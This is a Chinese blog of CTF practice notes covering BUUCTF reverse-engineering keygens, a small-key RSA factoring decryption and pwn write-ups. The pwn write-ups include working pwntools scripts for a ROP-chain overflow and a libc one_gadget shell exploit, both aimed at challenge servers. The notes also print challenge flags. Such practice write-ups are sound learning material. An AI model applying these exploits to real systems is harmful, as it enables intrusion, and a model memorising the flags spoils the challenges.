做题记录tmp

buu-reverse-Youngter-drive

难点

程序执行逻辑:

  • 线程1,奇数位加密
  • 线程2,什么也不做但是循环计数器减少一个
  • 两个线程交替执行

    • WaitForSingleObject(hObject, 0xFFFFFFFF);
    • ReleaseMutex(hObject);
  • 最后使用一个函数将加密结果与一个数组进行比对判断输入值是不是flag

注册机

result = list("TOiZiZtOrYaToUwPnToBsOaOapsyS")
print(len(result))
off418 = "QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasd"
cnt = 0x1D
print(len(result))
for i in range(len(result)):
    # 反加密
    if i % 2==1:
        tmp_upper = chr(off418.find(result[i]) + 38)
        tmp_lower = chr(off418.find(result[i]) + 96)
        if tmp_upper.isupper():
            result[i]=tmp_upper
        else:
            result[i]=tmp_lower
    else:
        pass

print(result)
flag = ''.join(result)
print(flag)# ThisisthreadofwindowshahaIsES

结果是少一位的,但是最后只校验了前29位,虽然有30位,理论上最后一位无论是什么都可以

但是buu有bug只能提交结尾是E的因此flag就是:flag{ThisisthreadofwindowshahaIsESE}

buu-reverse-ACTF-usualCrypt

思路

加密过程是:使用变形alpha表的base64加密得到字符串(已知)

这个变形base64加密过程:变表-》加密-》结果大小写反向

其中的:

  • 变表:本质上是将原base64码表[6,15)进行0xA偏移值交换操作得到
  • 结果大小写反向:python的字符串成员方法swapcase()

难点

难点就在于变表decode有两种常见思路

  • 变表decode,但是python不支持
  • 还原成正常表加密的结果,然后再decode

对于第二种方法,原理如下:

  • 原编码表:ABCDEF
  • 新编码表:CDEFDG
  • 则将加密结果中的C替换成A,D替换成B,位次关系不变,变的是值

代码实现

# -*- coding: utf-8
import base64

sub300 = "zMXHz3TIgnxLxJhFAdtZn2fFk3lYCrtPC2l9".swapcase()
# 得到码表
base_alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
proc_alpha = list(base_alpha)
for i in range(6,15):
    proc_alpha[i],proc_alpha[i+0xA] = proc_alpha[i+0xA],proc_alpha[i]
# 还原原base64结果
def findIndex(input):
    for i in range(len(proc_alpha)):
        if proc_alpha[i]==input:
            return i
enc = ''
for i in sub300:
    # index 相同值不同
    enc += base_alpha[findIndex(i)]
# base64正常码表decode
dec = base64.b64decode(enc)
print(dec)

buu-reverse-ACTF-easyre

难点

  • 要找到真正的关键函数是sub_400D35()而不是通过you found me那个关键字找到位置是混淆的。

    • 这一点我还没搞懂
  • 猜到比对规则找到key也就是v2 v3 v4 v5与byte_6CC0A0前四位(第四位开始是byte_6CC0A3)异或的结果
  • 然后答案就是byte_6CC0A0与key[i%4]对位xor的结果

注册机

str1 = [0x40, 0x35, 0x20] # byte_6CC0A0
str2 = [0x56, 0x5D, 0x18, 0x22, 0x45, 0x17, 0x2F, 0x24, 0x6E, 0x62, 0x3C, 0x27, 0x54, 0x48, 0x6C, 0x24, 0x6E, 0x72, 0x3C, 0x32, 0x45, 0x5B] # byte_6CC0A3
str = str1 + str2

src = 'flag'
key = '' # v2-v5
for i in range(len(src)):
    key += chr(str[i] ^ ord(src[i]))
print(key)

flag = ''
for i in range(25):
    flag += chr(str[i] ^ ord(key[i%4]))
print(flag)

buu-reverse-[ACTF新生赛2020]easyre

def findIndex(c):
    dic = '\x7E}|{zyxwvutsrqponmlkjihgfedcba`_^]\[ZYXWVUTSRQPONMLKJIHGFEDCBA@?>=<;:9876543210/.-,+*)(\x27&%$# !"\x00\x40'
    for i in range(len(dic)):
        if c == dic[i]:
            return i

# if ((_BYTE)v19 != 0x41 | | HIBYTE(v19) != 0x43 | | v20 != 0x54 | | v21 != 0x46 | | v22 != 0x7B | | v26 != 0x7D )
lis = ['\x41','\x43','\x54','\x46','\x7B','\x7D']
for i in lis:
    print(i,end=''); # ACTF{}

ans = []
lis2 = [42, 70, 39, 34, 78, 44, 34, 40, 73, 63, 43, 64]
# print(len(lis2))
for i in range(len(lis2)):
    tmp = findIndex(chr(lis2[i]))
    ans += chr(tmp + 1)

for i in ans:
    print(i, end='')

# ACTF{}U9X_1S_W6@T?

flag{U9X_1S_W6@T?}

buu-pwn-picoctf_2018_rop chain

本题是x32 cdecl指令集

构造格式

  • 一个指令:cmd_address:gap_:arg1

    • 后面不需要参数则不需要gap_
  • 如system('/bin/sh')+exit(0)

    • system_address:binsh_address:exit_address:p32(0x0)
'''
基本环境
'''
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 25395)
context(os='linux', arch='i386', log_level='debug')
elf = ELF('PicoCTF_2018_rop_chain')
# libc= ELF('libc-2.29.so')

win1 = 0x80485CB
win2 = 0x80485D8
flag = 0x804862B
payload = b'a'*(0x18+0x4)
payload+= p32(win1) + p32(win2) + p32(flag)
# -1163220307 -559039827
payload+= p32(0xBAAAAAAD) + p32(0xDEADBAAD)
sleep(0.3)
p.sendline(payload)
sleep(0.3)
p.interactive()

# flag{d6966bc5-1e31-45ed-9a7d-a7e66e04f25d}

buu-pwn-one_gadget

https://blog.csdn.net/weixin_43092232/article/details/105085880

基本逻辑

连上会送你printf的地址,而且本身也给了你libc的文件(白送)。

你只要通过这两者,算出bin_sh的地址输入就会给你flag了

以下是组件的介绍:

libc

  • LibSearcher生成的对象libc1
  • ELF生成的对象的libc2

libc1.dump['puts']==libc2.symbol['puts']

字符串相对地址

  • LibSearcher生成的对象libc1
  • pwntools中的ELF生成的对象的libc2

方法一:

libc1.dump('str_bin_sh')

方法二:

X无法验证:libc2.search("/bin/sh").next()

方法三:

前面都是使用pwntools或者LibSearcher,这一种是使用one_gadget指令实现

liunx下one_gadget libc文件

注册机

'''
基本环境
'''
from pwn import *
from LibcSearcher import *

p = remote('node3.buuoj.cn', 25683)
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('one_gadget')
libc= ELF('libc-2.29.so')

'''
得到printf的真实地址
'''
p.recvuntil(b'0x')
raw = p.recvline()
add = int(raw[:-1],16)
print(raw[:-1],add)
'''
计算bin_sh函数的地址然后会直接给你shell
'''
libc_base = add - libc.symbols['printf']
# libc_binsh= libc_base + libc.dump['str_bin_sh']
# libc_system=libc_base + libc.dump['system']
# one_gadget=libc.search('/bin/sh')#.next()#0x106ef8
# print(one_gadget)
# bin_sh基址可以通过one_gadget得到(最后一个)
bin_sh    = libc_base+0x106ef8
sleep(0.3)
p.sendline(str(bin_sh))
'''
cat flag
'''
p.sendline(b'cat flag')
p.interactive()

image.png

buu-rsa 非寻常题

基本逻辑

这题更像,crpyto或者是misc题,压缩包有两个文件

  • pub.key:公钥
  • flag.enc:rsa加密后的flag

正常来说,解密需要公钥和私钥,但是只有公钥没有私钥,怎么解密呢?

因此我们得直接用公钥破解出答案。

解密原理

rsa加密简介:一种非对称加密

参考:http://www.ruanyifeng.com/blog/2013/06/rsa_algorithm_part_one.html

  • 互质:两个数除了1没有其他公因数
  • 欧拉函数f(n):1~n中的数有几个与n互质
  • 模反元素:如果两个正整数a和n互质,那么一定可以找到整数b,使得ab被n除的余数是1

考虑了下还是没自己写,找现成的使用公钥破解rsa的代代码

来源:https://www.cnblogs.com/Colin-Cai/p/8013009.html

相关环境配置如下

import gmpy2
import rsa

# http://tool.chacuo.net/cryptrsakeyparse
# e是模数 n是指数(16进制)
e = 65537
n = 0xC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD
print(n)
# http://www.factordb.com/
# p是q是n的两个最大素数
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463

phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)

key = rsa.PrivateKey(n, e, int(d), p, q)

with open("flag.enc", "rb") as f:
    f = f.read()
    print(rsa.decrypt(f, key))

注册机

直接使用现成的脚本解密如下

import gmpy2
import rsa

# http://tool.chacuo.net/cryptrsakeyparse
# e是模数 n是指数(16进制)
e = 65537
n = 0xC0332C5C64AE47182F6C1C876D42336910545A58F7EEFEFC0BCAAF5AF341CCDD
print(n) # 86934482296048119190666062003494800588905656017203025617216654058378322103517
# 记得使用十进制的n:http://www.factordb.com/
# p是q是n的两个最大素数
p = 285960468890451637935629440372639283459
q = 304008741604601924494328155975272418463

phin = (p - 1) * (q - 1)
d = gmpy2.invert(e, phin)

key = rsa.PrivateKey(n, e, int(d), p, q)

with open("C:/Users/15426/Desktop/reverse/buu/14_rsa/flag.enc", "rb") as f:
    f = f.read()
    print(rsa.decrypt(f, key))

可以得到flag:b'flag{decrypt_256}\n'

image.png

buu-[BJDCTF2020]JustRE

关键字找到"BJD{1999902069a45792d233ac}"

BOOL __stdcall DialogFunc(HWND hWnd, UINT a2, WPARAM a3, LPARAM a4)
{
  CHAR String; // [esp+0h] [ebp-64h]

  if ( a2 != 272 )
  {
    if ( a2 != 273 )
      return 0;
    if ( (_WORD)a3 != 1 && (_WORD)a3 != 2 )
    {
      sprintf(&String, aD, ++dword_4099F0);
      if ( dword_4099F0 == 19999 )
      { //经查询aBjdDD2069a4579为BJD{%d%d2069a45792d233ac}
        sprintf(&String, aBjdDD2069a4579, 19999, 0); 
        SetWindowTextA(hWnd, &String);
        return 0;
      }
      SetWindowTextA(hWnd, &String);
      return 0;
    }
    EndDialog(hWnd, (unsigned __int16)a3);
  }
  return 1;
}

经查询aBjdDD2069a4579为BJD{%d%d2069a45792d233ac}根据printf的语法合理猜测%d%d分别为19999,0

很容易得到flag{1999902069a45792d233ac}

image.png

buu-reverse简单注册机

使用androidkiller打开找到关键代码文件,点击jd-gui按钮打开反汇编,找到关键段

package com.example.flag;

import android.view.View;
import android.widget.EditText;
import android.widget.TextView;

class null implements View.OnClickListener {
  public void onClick(View paramView) {
    byte b = 1;
    String str = editview.getText().toString();
    if (str.length() != 32 || str.charAt(31) != 'a' || str.charAt(1) != 'b' || str.charAt(0) + str.charAt(2) - 48 != 56)//32位 最后一位是a 第二位是b 第零和第三位加起来-48等于56
      b = 0; 
    if (b == 1) {
      char[] arrayOfChar = "dd2940c04462b4dd7c450528835cca15".toCharArray();
      arrayOfChar[2] = (char)(char)(arrayOfChar[2] + arrayOfChar[3] - 50);
      arrayOfChar[4] = (char)(char)(arrayOfChar[2] + arrayOfChar[5] - 48);
      arrayOfChar[30] = (char)(char)(arrayOfChar[31] + arrayOfChar[9] - 48);
      arrayOfChar[14] = (char)(char)(arrayOfChar[27] + arrayOfChar[28] - 97);
      for (b = 0;; b++) {
        String str1;
        if (b >= 16) {
          str1 = String.valueOf(arrayOfChar);//str1=arrayOfChar
          textview.setText("flag{" + str1 + "}");
          return;
        } 
        String str2 = str1[31 - b];
        str1[31 - b] = str1[b];
        str1[b] = str2;
      } 
    } 
    textview.setText(");
  }
}

(反汇编结果仅供参考)合理推测str1就是arrayOfChar

先直接执行java获得arrayOfChar(因为可以直接运行懒得写python了)

public class HelloWorld {
    public static void main(String []args) {
        char[] arrayOfChar = "dd2940c04462b4dd7c450528835cca15".toCharArray();
        arrayOfChar[2] = (char)(char)(arrayOfChar[2] + arrayOfChar[3] - 50);
        arrayOfChar[4] = (char)(char)(arrayOfChar[2] + arrayOfChar[5] - 48);
        arrayOfChar[30] = (char)(char)(arrayOfChar[31] + arrayOfChar[9] - 48);
        arrayOfChar[14] = (char)(char)(arrayOfChar[27] + arrayOfChar[28] - 97);
        System.out.println(arrayOfChar); // dd9990c04462b4ed7c450528835cca95
    }
}

然后剩余的部分用python写如下

str = 'dd9990c04462b4ed7c450528835cca95'
lis = []
for i in str:
    lis+=i
print(lis)

str2 = ['a']
for i in range(16):
    str2[0]=lis[31-i]
    lis[31 - i]=lis[i]
    lis[i]=str2[0]
for i in lis:
    print(i, end="")
# 59acc538825054c7de4b26440c0999dd

得到flag:flag{59acc538825054c7de4b26440c0999dd}
image.png

ciscn_2019_c_1

基本逻辑

经过IDA x64分析后可以得到,先输入1,然后会调用encrypt()

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+Ch] [rbp-4h]

  init(*(_QWORD *)&argc, argv, envp);
  puts("EEEEEEE                            hh      iii                ");
  puts("EE      mm mm mmmm    aa aa   cccc hh          nn nnn    eee  ");
  puts("EEEEE   mmm  mm  mm  aa aaa cc     hhhhhh  iii nnn  nn ee   e ");
  puts("EE      mmm  mm  mm aa  aaa cc     hh   hh iii nn   nn eeeee  ");
  puts("EEEEEEE mmm  mm  mm  aaa aa  ccccc hh   hh iii nn   nn  eeeee ");
  puts("====================================================================");
  puts("Welcome to this Encryption machine\n");
  begin();
  while ( 1 )
  {
    while ( 1 )
    {
      fflush(0LL);
      v4 = 0;
      __isoc99_scanf("%d", &v4);
      getchar();
      if ( v4 != 2 )
        break;
      puts("I think you can do it by yourself");
      begin();
    }
    if ( v4 == 3 )
    {
      puts("Bye!");
      return 0;
    }
    if ( v4 != 1 )
      break;
    encrypt();
    begin();
  }
  puts("Something Wrong!");
  return 0;
}

关键代码

过程大概是读取s字符串然后把s进行加密,然后输出加密后的结果

漏洞函数gets(s),其中s的缓冲区大小为48(本题可能用shellcode,没搞定暂时搁置)

int encrypt()
{
  size_t v0; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    v0 = (unsigned int)x;
    if ( v0 >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}
Last modification:March 15, 2021
如果觉得我的文章对你有用,请随意赞赏。咖啡(12RMB)进度+100%,一块巧克力(1RMB)进度+6%。
(赞赏请备注你的名称哦!后台记录中来自理工小菜狗)